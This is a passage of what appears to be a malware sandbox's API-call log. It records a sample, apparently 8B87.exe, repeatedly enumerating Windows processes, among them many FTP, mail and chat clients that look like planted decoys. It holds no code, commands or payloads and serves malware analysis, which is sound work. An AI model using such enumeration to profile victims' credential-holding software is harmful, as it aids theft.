cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0284.485] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.487] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0284.489] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.525] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0284.527] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0284.529] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.531] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0284.533] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0284.535] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0284.537] CloseHandle (hObject=0xa10) returned 1 [0284.537] Sleep (dwMilliseconds=0x64) [0284.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0284.596] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.598] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.601] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.604] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.606] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.609] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.612] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.614] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.616] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.619] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.621] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.624] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.626] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.629] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.631] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.635] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.638] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.642] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.645] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.647] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.649] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.652] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.654] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.657] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0284.659] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0284.663] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0284.666] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.671] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0284.673] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.679] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0284.713] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.716] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.718] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0284.721] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.723] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.726] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0284.728] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0284.731] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0284.733] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0284.736] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0284.738] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0284.741] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0284.743] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0284.748] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0284.750] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0284.753] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0284.755] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0284.758] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0284.761] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0284.766] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0284.768] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0284.771] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0284.774] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0284.776] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0284.779] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0284.782] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0284.785] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0284.787] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0284.791] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0284.794] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0284.798] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0284.801] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0284.804] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0284.807] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0284.810] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0284.813] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0284.816] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0284.851] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0284.856] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0284.861] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0284.865] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0284.873] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0284.877] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 